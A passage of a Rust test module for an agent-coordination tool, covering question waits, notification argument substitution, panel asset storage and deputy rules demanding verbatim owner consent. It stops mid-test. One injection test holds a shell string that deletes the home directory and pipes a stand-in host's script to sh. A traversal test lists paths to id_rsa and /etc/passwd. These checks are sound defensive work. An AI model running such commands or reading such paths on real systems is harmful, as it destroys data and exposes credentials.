2664        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2665        // and returns `Pending`, a second slice - a fresh call, exactly as a
2666        // fresh process would make - picks the same question back up and
2667        // sees an answer written in between.
2668        let (dir, s) = store();
2669        let mut q = choice_question();
2670        s.put(&mut q).unwrap();
2671
2672        let first = wait_loop(
2673            &mut q,
2674            &s,
2675            Duration::from_secs(3600),
2676            Duration::from_millis(30),
2677            Duration::from_millis(10),
2678        )
2679        .await
2680        .unwrap();
2681        assert_eq!(first, Wait::Pending);
2682
2683        let id = q.id.clone();
2684        let writer = Questions::at(dir.path().join("questions"));
2685        let mut fresh = writer.get(&id).unwrap();
2686        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2687        writer.put(&mut fresh).unwrap();
2688
2689        // `resume_wait` uses its own production poll interval rather than a
2690        // test-injected one, so the budget here only needs to be large enough
2691        // to cover one real poll tick - the point is that it is `resume_wait`
2692        // itself, not a helper, that finds the answer.
2693        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2694            .await
2695            .unwrap();
2696        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2697        assert_eq!(q.status, QuestionStatus::Answered);
2698    }
2699
2700    #[tokio::test]
2701    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2702        // The owner can speak back while nothing is running at all - between
2703        // one call reporting `Wait::Pending` and the next `--wait` picking
2704        // the question back up - and whoever resumes the wait loads a
2705        // *fresh* copy of the question off disk, one whose thread already
2706        // contains that reply. A baseline taken from that fresh copy would
2707        // treat the reply as pre-existing and never notice it "arrive",
2708        // leaving the agent polling in silence until `answer_timeout`
2709        // eventually abandons the question - replacing the exact accident
2710        // this feature exists to fix with a quieter version of itself.
2711        let (dir, s) = store();
2712        let mut q = choice_question();
2713        s.put(&mut q).unwrap();
2714
2715        let first = wait_loop(
2716            &mut q,
2717            &s,
2718            Duration::from_secs(3600),
2719            Duration::from_millis(30),
2720            Duration::from_millis(10),
2721        )
2722        .await
2723        .unwrap();
2724        assert_eq!(first, Wait::Pending);
2725
2726        // The owner speaks back during the gap, with nobody running yet.
2727        let id = q.id.clone();
2728        let writer = Questions::at(dir.path().join("questions"));
2729        let mut fresh = writer.get(&id).unwrap();
2730        fresh.say("why not Postgres?").unwrap();
2731        writer.put(&mut fresh).unwrap();
2732
2733        // `magi ask --wait` re-reads the question rather than reusing the
2734        // stale in-memory copy the earlier call held - so the copy handed to
2735        // `resume_wait` here already carries the reply, same as `fresh` above.
2736        let mut resumed = s.get(&id).unwrap();
2737        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2738            .await
2739            .unwrap();
2740        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2741        assert_eq!(
2742            resumed.status,
2743            QuestionStatus::Open,
2744            "talking back is not a decision; the question stays open"
2745        );
2746    }
2747
2748    #[tokio::test]
2749    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2750        // A broken webhook must not throw away an implementation, so the wait
2751        // reports the failure and carries on. `notify` itself still says what
2752        // went wrong, because `magi notify --test` has to be able to show it.
2753        let (dir, s) = store();
2754        let broken = config::Notify {
2755            command: vec![
2756                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2757                "{summary}".to_owned(),
2758            ],
2759        };
2760        let mut q = choice_question();
2761        assert!(
2762            notify(&broken, &q).await.is_err(),
2763            "the caller is told; it decides that it does not matter"
2764        );
2765
2766        let id = q.id.clone();
2767        let writer = Questions::at(dir.path().join("questions"));
2768        let handle = tokio::spawn(async move {
2769            tokio::time::sleep(Duration::from_millis(30)).await;
2770            let mut fresh = writer.get(&id).unwrap();
2771            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2772            writer.put(&mut fresh).unwrap();
2773        });
2774        let got = wait_for_owner(
2775            &mut q,
2776            &s,
2777            &broken,
2778            Duration::from_secs(5),
2779            Duration::from_millis(10),
2780        )
2781        .await
2782        .unwrap();
2783        handle.await.unwrap();
2784        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2785
2786        // No command at all is the default, and is silence rather than failure.
2787        assert!(notify(&quiet(), &q).await.is_ok());
2788        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2789    }
2790
2791    #[tokio::test]
2792    async fn external_question_notification_names_the_supported_response_path() {
2793        let dir = tempfile::tempdir().unwrap();
2794        let path = dir.path().join("page");
2795        let cmd = config::Notify {
2796            command: vec![
2797                "sh".into(),
2798                "-c".into(),
2799                "printf '%s' \"$1\" > \"$2\"".into(),
2800                "notify".into(),
2801                "{summary}".into(),
2802                path.to_string_lossy().into_owned(),
2803            ],
2804        };
2805        let q = choice_question();
2806        notify(&cmd, &q).await.unwrap();
2807        let sent = std::fs::read_to_string(&path).unwrap();
2808        assert!(sent.starts_with("Question "));
2809        assert!(sent.contains(&q.summary));
2810        assert!(sent.contains(&format!("magi answer {}", q.id)));
2811        notify_text(&cmd, "", "Informational report. No reply needed.")
2812            .await
2813            .unwrap();
2814        assert_eq!(
2815            std::fs::read_to_string(&path).unwrap(),
2816            "Informational report. No reply needed."
2817        );
2818    }
2819
2820    #[test]
2821    fn external_notifications_and_questions_have_distinct_destinations() {
2822        assert_eq!(
2823            question_url("https://example.invalid/"),
2824            "https://example.invalid/#/questions"
2825        );
2826        assert_eq!(
2827            view_url("https://example.invalid/", "notifications"),
2828            "https://example.invalid/#/notifications"
2829        );
2830        assert_eq!(view_url("", "notifications"), "");
2831        assert_eq!(
2832            view_url("https://example.invalid/#/queue", "notifications"),
2833            "https://example.invalid/#/queue"
2834        );
2835    }
2836
2837    #[test]
2838    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2839        let mut q = choice_question();
2840        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2841        let template = [
2842            "ntfy".to_owned(),
2843            "publish".to_owned(),
2844            "--click".to_owned(),
2845            "{url}".to_owned(),
2846            "--title".to_owned(),
2847            "magi {run} needs you".to_owned(),
2848            "{summary}".to_owned(),
2849        ];
2850        let argv: Vec<String> = template
2851            .iter()
2852            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2853            .collect();
2854
2855        assert_eq!(
2856            argv,
2857            [
2858                "ntfy",
2859                "publish",
2860                "--click",
2861                "http://100.64.0.1:7777/#/questions",
2862                "--title",
2863                "magi 20260902-201256-9fb7 needs you",
2864                "; rm -rf ~ && curl evil.sh | sh #",
2865            ],
2866            "the shell metacharacters are one argument's contents, not syntax"
2867        );
2868
2869        // A summary that itself mentions a placeholder is text, not a template:
2870        // one left-to-right pass means a substituted value is never rescanned.
2871        q.summary = "should {url} be configurable?".to_owned();
2872        assert_eq!(
2873            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2874            "should {url} be configurable?"
2875        );
2876        // An unknown brace is the operator's own text and survives untouched.
2877        assert_eq!(
2878            expand("{title}: {run}", &q.run, &q.summary, ""),
2879            "{title}: 20260902-201256-9fb7"
2880        );
2881        assert_eq!(
2882            expand("no placeholders", &q.run, &q.summary, "http://x"),
2883            "no placeholders"
2884        );
2885    }
2886
2887    #[test]
2888    fn the_notification_link_lands_on_the_view_that_can_answer() {
2889        assert_eq!(
2890            question_url("http://100.64.0.1:7777"),
2891            "http://100.64.0.1:7777/#/questions"
2892        );
2893        assert_eq!(
2894            question_url("http://100.64.0.1:7777/"),
2895            "http://100.64.0.1:7777/#/questions"
2896        );
2897        // An operator who wrote a fragment has said where they want to land.
2898        assert_eq!(
2899            question_url("http://magi.ts.net/#/runs"),
2900            "http://magi.ts.net/#/runs"
2901        );
2902        // Unset expands to nothing rather than to a guessed address.
2903        assert_eq!(question_url("  "), "");
2904    }
2905
2906    /// A question with a fixed id, so a panel's path on disk is predictable.
2907    fn panelled() -> Question {
2908        let mut q = choice_question();
2909        q.id = "20260903-014455-ab12".to_owned();
2910        q
2911    }
2912
2913    #[test]
2914    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2915        let (dir, s) = store();
2916        let work = dir.path().join("worktree");
2917        std::fs::create_dir_all(&work).unwrap();
2918        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2919        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2920
2921        let mut q = panelled();
2922        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2923        s.put_panel(
2924            &mut q,
2925            html,
2926            &[work.join("table.png"), work.join("diff.svg")],
2927        )
2928        .unwrap();
2929        s.put(&mut q).unwrap();
2930
2931        assert!(q.panel);
2932        assert_eq!(
2933            q.assets,
2934            ["diff.svg", "table.png"],
2935            "sorted, not in the order the agent happened to pass them"
2936        );
2937        assert_eq!(
2938            s.panel_html(&q.id).as_deref(),
2939            Some(html),
2940            "the html is stored byte for byte; the agent authored the markup"
2941        );
2942        assert_eq!(
2943            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2944            Some(&b"<svg/>"[..])
2945        );
2946
2947        // The record on disk carries the same two fields the front end reads.
2948        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2949        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2950        assert_eq!(json["panel"], true);
2951        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2952        let back = s.get(&q.id).unwrap();
2953        assert!(back.panel);
2954        assert_eq!(back.assets, q.assets);
2955
2956        // The assets were copied, so the panel still renders after `magi fold`
2957        // has deleted the candidate worktree the agent authored it in.
2958        std::fs::remove_dir_all(&work).unwrap();
2959        assert_eq!(
2960            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2961            Some(&b"\x89PNG"[..]),
2962            "a referenced asset would be gone with the worktree"
2963        );
2964    }
2965
2966    #[test]
2967    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2968        let (dir, s) = store();
2969        let mut q = panelled();
2970        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2971        s.put(&mut q).unwrap();
2972
2973        // A file exactly one level up from the panel directory - which is
2974        // where `..` lands - holding content a read would make visible.
2975        let secret = "this must never reach the browser";
2976        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2977        assert_eq!(
2978            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2979            secret,
2980            "the traversal is real: the operating system resolves this path \
2981             happily, which is why the name has to be refused before the join"
2982        );
2983
2984        let long = "x".repeat(200);
2985        for name in [
2986            "..",
2987            "../id_rsa",
2988            "..\\id_rsa",
2989            "sub/../id_rsa",
2990            "/",
2991            "\\",
2992            "/etc/passwd",
2993            "C:\\Windows\\win.ini",
2994            "",
2995            ".hidden",
2996            ".",
2997            long.as_str(),
2998        ] {
2999            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3000            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3001            assert!(
3002                e.contains("not a panel file name"),
3003                "`{name}` must be refused as a name, not attempted: {e}"
3004            );
3005            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3006        }
3007        // A name that is allowed still finds its file, so the refusals above
3008        // were the rule at work and not a store that reads nothing.
3009        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3010
3011        // The same rule on the write side, where the name comes from a source
3012        // file's base name, and a refusal leaves the stored panel untouched.
3013        let hidden = dir.path().join(".hidden");
3014        std::fs::write(&hidden, "x").unwrap();
3015        let e = s
3016            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3017            .unwrap_err()
3018            .to_string();
3019        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3020        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3021        assert!(q.assets.is_empty());
3022    }
3023
3024    #[test]
3025    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3026        let (dir, s) = store();
3027        let mut q = panelled();
3028        s.put(&mut q).unwrap();
3029
3030        // Sized rather than filled: the cap reads the file's length, and a
3031        // test that actually produced eight mebibytes would only be slower.
3032        let big = dir.path().join("recording.png");
3033        std::fs::File::create(&big)
3034            .unwrap()
3035            .set_len(PANEL_MAX_BYTES)
3036            .unwrap();
3037
3038        let html = "<p>see the recording</p>";
3039        let total = PANEL_MAX_BYTES + html.len() as u64;
3040        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3041        assert!(
3042            e.contains(&PANEL_MAX_BYTES.to_string()),
3043            "the cap is named so the agent knows the limit: {e}"
3044        );
3045        assert!(
3046            e.contains(&total.to_string()),
3047            "the actual size is named so the agent knows by how much: {e}"
3048        );
3049
3050        assert!(!q.panel);
3051        assert!(q.assets.is_empty());
3052        let left: Vec<String> = std::fs::read_dir(s.root())
3053            .unwrap()
3054            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3055            .collect();
3056        assert_eq!(
3057            left,
3058            [format!("{}.json", q.id)],
3059            "a refused panel leaves neither a directory nor scratch: {left:?}"
3060        );
3061    }
3062
3063    #[test]
3064    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3065        let (dir, s) = store();
3066        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3067        std::fs::create_dir_all(&before).unwrap();
3068        std::fs::create_dir_all(&after).unwrap();
3069        std::fs::write(before.join("diff.png"), "before").unwrap();
3070        std::fs::write(after.join("diff.png"), "after").unwrap();
3071
3072        let mut q = panelled();
3073        let e = s
3074            .put_panel(
3075                &mut q,
3076                "<p>x</p>",
3077                &[before.join("diff.png"), after.join("diff.png")],
3078            )
3079            .unwrap_err()
3080            .to_string();
3081        assert!(e.contains("diff.png"), "{e}");
3082        assert!(
3083            e.contains("before") && e.contains("after"),
3084            "both sources are named, because the fix is to rename one: {e}"
3085        );
3086        assert!(!q.panel);
3087        assert!(!s.panel_dir(&q.id).exists());
3088    }
3089
3090    #[test]
3091    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3092        let (dir, s) = store();
3093        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3094        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3095
3096        let mut q = panelled();
3097        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3098            .unwrap();
3099        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3100            .unwrap();
3101
3102        assert_eq!(q.assets, ["new.png"]);
3103        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3104        assert!(
3105            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3106            "an asset from the first attempt would show a mix of two answers"
3107        );
3108
3109        s.drop_panel(&q.id).unwrap();
3110        assert!(s.panel_html(&q.id).is_none());
3111        assert!(!s.panel_dir(&q.id).exists());
3112        s.drop_panel(&q.id)
3113            .expect("dropping a panel that is already gone is the desired state");
3114    }
3115
3116    #[test]
3117    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3118        let (_dir, s) = store();
3119        let mut q = panelled();
3120        s.put(&mut q).unwrap();
3121
3122        assert!(!q.panel);
3123        assert!(s.panel_html(&q.id).is_none());
3124        assert!(
3125            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3126            "a missing file is a 404 for the caller, not a failure of the store"
3127        );
3128        let json = serde_json::to_value(&q).unwrap();
3129        assert_eq!(json["panel"], false);
3130        assert_eq!(json["assets"], serde_json::json!([]));
3131
3132        // And an empty panel is refused, because an empty frame reads to the
3133        // owner as "the agent had nothing to say".
3134        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3135        assert!(e.contains("empty panel"), "{e}");
3136        assert!(!s.panel_dir(&q.id).exists());
3137    }
3138
3139    #[test]
3140    fn a_question_written_before_panels_existed_still_deserialises() {
3141        let (_dir, s) = store();
3142        std::fs::create_dir_all(s.root()).unwrap();
3143        let id = "20260902-231501-ab12";
3144        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3145        let body = r#"{
3146  "schema": 1,
3147  "id": "20260902-231501-ab12",
3148  "run": "20260902-201256-9fb7",
3149  "node": "implement",
3150  "seat": "impl-A",
3151  "summary": "Which storage backend should the cache use?",
3152  "detail": "Both are already dependencies.",
3153  "choices": ["SQLite", "Redis"],
3154  "status": "open",
3155  "asked_at": "2026-09-02T23:15:01Z",
3156  "answered_at": null,
3157  "answer": null
3158}"#;
3159        std::fs::write(s.path_of(id), body).unwrap();
3160
3161        let q = s.get(id).unwrap();
3162        assert!(
3163            !q.panel,
3164            "an absent field means no panel, not a parse error"
3165        );
3166        assert!(q.assets.is_empty());
3167        // Schema 1 predates `thread` entirely - not merely predates it having
3168        // any turns - and this build now speaks schema 3. Reading it must not
3169        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3170        // accepted and the missing field defaults to no conversation yet.
3171        assert_eq!(q.schema, 1);
3172        assert!(q.thread.is_empty());
3173        assert_eq!(
3174            q.answer_timeout, 0,
3175            "an absent field means unrecorded, not a zero-second deadline"
3176        );
3177        assert!(!q.waiting_on_agent());
3178        assert_eq!(q.summary, "Which storage backend should the cache use?");
3179        assert_eq!(
3180            s.list().len(),
3181            1,
3182            "and it is still listed; skipping it would hide an open question"
3183        );
3184    }
3185
3186    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3187        Turn {
3188            who,
3189            body: body.to_owned(),
3190            at,
3191            note: None,
3192        }
3193    }
3194
3195    #[test]
3196    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3197        // The phone reads this shape by hand, same as the question itself: a
3198        // rename here is a card that silently drops every message in it.
3199        let mut q = choice_question();
3200        q.thread
3201            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3202        let value = serde_json::to_value(&q.thread[0]).unwrap();
3203        let mut keys: Vec<&str> = value
3204            .as_object()
3205            .unwrap()
3206            .keys()
3207            .map(String::as_str)
3208            .collect();
3209        keys.sort_unstable();
3210        assert_eq!(keys, ["at", "body", "who"]);
3211        assert_eq!(value["who"], "operator");
3212        assert_eq!(value["body"], "why not Postgres?");
3213
3214        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3215        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3216        assert_eq!(parsed.who, Who::Agent);
3217    }
3218
3219    fn approval_question() -> Question {
3220        let mut q = Question::new(
3221            "run".into(),
3222            crate::land::APPROVAL_NODE.into(),
3223            "land".into(),
3224            "Merge?".into(),
3225            String::new(),
3226            vec!["merge".into(), "hold".into()],
3227        );
3228        let mut dep = Deputy::new("brief".into());
3229        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3230        q.deputy = Some(dep);
3231        q
3232    }
3233
3234    #[test]
3235    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3236        for choice in [
3237            crate::merge_decision::WITHDRAW,
3238            "reimplement:primary",
3239            "retry",
3240            "discard",
3241        ] {
3242            let mut q = approval_question();
3243            q.choices.push(choice.into());
3244            if matches!(choice, "retry" | "discard") {
3245                q.node = "recovery".into();
3246            }
3247            if choice == "discard" {
3248                q.actions.insert(choice.into(), ChoiceAction::Done);
3249            }
3250            let words = "おっけーそれぞれ回答してー";
3251            q.say(words).unwrap();
3252            let error = q
3253                .settle_by_deputy("deputy-x", choice, words, None)
3254                .unwrap_err()
3255                .to_string();
3256            assert!(
3257                error.contains(if choice == "retry" {
3258                    "manifest"
3259                } else {
3260                    "individual owner confirmation"
3261                }),
3262                "{choice}: {error}"
3263            );
3264            assert!(q.status.open());
3265        }
3266    }
3267
3268    #[test]
3269    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3270        for choice in [
3271            crate::land::HOLD,
3272            crate::land::REPAIR,
3273            crate::merge_decision::WITHDRAW,
3274            "reimplement:beta",
3275        ] {
3276            let mut q = approval_question();
3277            q.node = crate::land::APPROVAL_NODE.into();
3278            q.choices = vec!["merge".into(), choice.into()];
3279            q.merge_target = Some(crate::merge_decision::Target {
3280                pr: "PR 42".into(),
3281                head: "abc".into(),
3282                language: "en".into(),
3283            });
3284            q.say(format!("Should we choose {choice}?")).unwrap();
3285            assert!(
3286                q.settle_by_deputy("deputy-x", choice, choice, None)
3287                    .is_err()
3288            );
3289            q.say(choice).unwrap();
3290            q.settle_by_deputy("deputy-x", choice, choice, None)
3291                .unwrap();
3292            assert_eq!(q.resolution().as_deref(), Some(choice));
3293        }
3294        let mut q = approval_question();
3295        q.node = crate::land::APPROVAL_NODE.into();
3296        q.choices = vec!["merge".into(), "hold".into()];
3297        q.merge_target = Some(crate::merge_decision::Target {
3298            pr: "PR 42".into(),
3299            head: "new-head".into(),
3300            language: "en".into(),
3301        });
3302        q.say("merge old-head").unwrap();
3303        assert!(
3304            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3305                .is_err()
3306        );
3307        q.say("merge new-head").unwrap();
3308        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3309            .unwrap();
3310    }
3311
3312    #[test]
3313    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3314        let mut q = approval_question();
3315        q.choices.push(crate::land::REPAIR.into());
3316        q.say("maybe fix findings and re-review").unwrap();
3317        assert!(
3318            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3319                .is_err()
3320        );
3321        q.say(crate::land::REPAIR).unwrap();
3322        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3323            .unwrap();
3324        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3325        assert_eq!(
3326            crate::land::approval(q.resolution().as_deref()),
3327            crate::land::Approval::Repair
3328        );
3329    }
3330
3331    #[test]
3332    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3333        let mut q = approval_question();
3334        q.say("merge").unwrap();
3335        q.reply("sure?", vec!["merge".into(), "hold".into()])
3336            .unwrap();
3337        q.say(" Merge it please ").unwrap();
3338        assert!(
3339            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3340                .is_err(),
3341            "an empty quote is refused"
3342        );
3343        assert!(
3344            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3345                .is_err(),
3346            "a quote the owner never said is refused"
3347        );
3348        assert_eq!(q.status, QuestionStatus::Open);
3349        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3350            .unwrap();
3351        assert_eq!(q.resolution().as_deref(), Some("merge"));
3352    }
3353
3354    #[test]
3355    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3356        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3357        let mk = || {
3358            let mut q = Question::new(
3359                "run".into(),
3360                crate::github_text::ASK_NODE.into(),
3361                crate::github_text::ASK_SEAT.into(),
3362                "s".into(),
3363                String::new(),
3364                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3365            );
3366            let mut dep = Deputy::new("brief".into());
3367            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3368            q.deputy = Some(dep);
3369            q
3370        };
3371        let mut hedged = mk();
3372        hedged.say("Post the original, maybe?").unwrap();
3373        assert!(
3374            hedged
3375                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3376                .is_err()
3377        );
3378        let mut clear = mk();
3379        clear.say("Post the original text as it is.").unwrap();
3380        clear
3381            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3382            .unwrap();
3383        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3384        let mut japanese = mk();
3385        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3386        japanese.say(words).unwrap();
3387        japanese
3388            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3389            .unwrap();
3390        let mut unrelated = mk();
3391        unrelated.say("Proceed with the task").unwrap();
3392        assert!(
3393            unrelated
3394                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3395                .is_err()
3396        );
3397        for words in [
3398            "OK, post the original",
3399            "Yes, post original",
3400            "I'd like to post the original",
3401        ] {
3402            let mut natural = mk();
3403            natural.say(words).unwrap();
3404            natural
3405                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3406                .unwrap();
3407        }
3408        for (message, quote) in [
3409            (
3410                "ログには「元の説明で投稿しました」と記録されています。",
3411                "ログには「元の説明で投稿しました」と記録されています。",
3412            ),
3413            (
3414                "ログには「元の説明で投稿してください」と記録されています。",
3415                "元の説明で投稿してください",
3416            ),
3417        ] {
3418            let mut descriptive = mk();
3419            descriptive.say(message).unwrap();
3420            assert!(
3421                descriptive
3422                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3423                    .is_err()
3424            );
3425            assert!(descriptive.status.open());
3426            assert!(descriptive.answer.is_none());
3427        }
3428        let mut descriptive = mk();
3429        let message = "Post original was the option I saw.";
3430        descriptive.say(message).unwrap();
3431        for quote in [message, "Post original"] {
3432            assert!(
3433                descriptive
3434                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3435                    .is_err()
3436            );
3437            assert!(descriptive.status.open());
3438            assert!(descriptive.answer.is_none());
3439        }
3440        // The changed text is the safe default: no extra guard beyond the quote.
3441        let mut safe = mk();
3442        safe.say("use the fallback").unwrap();
3443        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3444            .unwrap();
3445    }
3446
3447    #[test]
3448    fn posting_deputy_rejects_multiline_quoted_context() {
3449        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3450        for (command, choice) in [
3451            ("Post original", POST_ORIGINAL),
3452            ("Use rewrite", USE_REWRITE),
3453        ] {
3454            for message in [
3455                format!("The log contains:\n```\n{command}\n```"),
3456                format!("The log contains:\n\"\n{command}\n\""),
3457                format!("The log says: “Reported. {command}.”"),
3458                format!("The log says: “\n{command}\n”"),
3459            ]
3460            .into_iter()
3461            .chain(crate::github_text::reported_posting_messages(command))
3462            {
3463                let mut q = Question::new(
3464                    "run".into(),
3465                    ASK_NODE.into(),
3466                    ASK_SEAT.into(),
3467                    "s".into(),
3468                    String::new(),
3469                    vec![USE_FALLBACK.into(), choice.into()],
3470                );
3471                let mut dep = Deputy::new("brief".into());
3472                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3473                q.deputy = Some(dep);
3474                q.say(&message).unwrap();
3475                let tmp = tempfile::tempdir().unwrap();
3476                let questions = Questions::at(tmp.path().join("questions"));
3477                questions.put(&mut q).unwrap();
3478                for quote in [command, message.as_str()] {
3479                    assert!(
3480                        questions
3481                            .update(&q.id, |stored| {
3482                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3483                            })
3484                            .is_err()
3485                    );
3486                    let after = questions.get(&q.id).unwrap();
3487                    assert!(after.status.open());
3488                    assert!(after.answer.is_none());
3489                }
3490            }
3491        }
3492    }
3493
3494    #[test]
3495    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3496        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3497        let mk = || {
3498            let mut q = Question::new(
3499                "run".into(),
3500                crate::github_text::ASK_NODE.into(),
3501                crate::github_text::ASK_SEAT.into(),
3502                "s".into(),
3503                String::new(),
3504                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3505            );
3506            let mut dep = Deputy::new("brief".into());
3507            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3508            q.deputy = Some(dep);
3509            q
3510        };
3511        let mut hedged = mk();
3512        hedged.say("Use the rewrite, maybe?").unwrap();
3513        assert!(
3514            hedged
3515                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3516                .is_err()
3517        );
3518        let mut descriptive = mk();
3519        let message = "Use rewrite was the option I saw.";
3520        descriptive.say(message).unwrap();
3521        for quote in [message, "Use rewrite"] {
3522            assert!(
3523                descriptive
3524                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3525                    .is_err()
3526            );
3527            assert!(descriptive.status.open());
3528            assert!(descriptive.answer.is_none());
3529        }
3530        for words in [
3531            "Use the rewrite text as it is.",
3532            "I'd like to use the rewrite",
3533            "修正版で投稿してください。",
3534        ] {
3535            let mut clear = mk();
3536            clear.say(words).unwrap();
3537            clear
3538                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3539                .unwrap();
3540            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3541        }
3542        // The changed text is the safe default: no extra guard beyond the quote.
3543        let mut safe = mk();
3544        safe.say("use the fallback").unwrap();
3545        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3546            .unwrap();
3547    }
3548
3549    #[test]
3550    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3551        let mk = |choices: Vec<String>| {
3552            let mut q = Question::new(
3553                String::new(),
3554                crate::bump::NOTICE_NODE.into(),
3555                "release-watch".into(),
3556                "Release?".into(),
3557                String::new(),
3558                choices,
3559            );
3560            let mut dep = Deputy::new("brief".into());
3561            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3562            q.deputy = Some(dep);
3563            q
3564        };
3565        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3566        assert!(crate::deputy::merge_gated(&approval));
3567        approval.say("マージしていいよ").unwrap();
3568        assert!(
3569            approval
3570                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3571                .is_err(),
3572            "a quote the owner never said is refused"
3573        );
3574        approval
3575            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3576            .unwrap();
3577
3578        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3579        assert!(!crate::deputy::merge_gated(&esc));
3580        esc.say("もう監視はいらない").unwrap();
